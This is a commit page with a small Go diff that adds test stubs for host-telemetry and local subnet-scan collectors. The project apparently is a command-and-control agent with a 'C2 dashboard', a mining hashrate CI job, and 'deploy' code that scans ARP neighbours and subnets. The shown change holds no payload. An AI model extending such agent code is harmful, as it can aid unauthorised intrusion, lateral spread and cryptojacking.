Fix Fleet AI and LOTL test regressions after parallel merges.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Stub slow syscheck/listen-port probes in agent tests, fix ai_snapshot mutex deadlock, reorder fleet clearance vs connectivity checks, and add AI control precedence plus LotlTimeline vitest coverage.
This commit is contained in:
@@ -14,6 +14,9 @@ const syscheckRawMax = 12000
|
||||
|
||||
// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard.
|
||||
func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport {
|
||||
if fullSysCheckCollector != nil {
|
||||
return fullSysCheckCollector(cfg, agentID)
|
||||
}
|
||||
r := &FullSysCheckReport{
|
||||
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Platform: runtime.GOOS,
|
||||
@@ -57,7 +60,11 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
|
||||
arp := deploy.ArpNeighborIPs()
|
||||
r.Neighbors.ArpHosts = arp
|
||||
r.Neighbors.ArpCount = len(arp)
|
||||
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20)
|
||||
if subnetScanCollector != nil {
|
||||
r.Neighbors.SubnetScan = subnetScanCollector(20)
|
||||
} else {
|
||||
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20)
|
||||
}
|
||||
|
||||
collectSysCheckPlatform(r)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user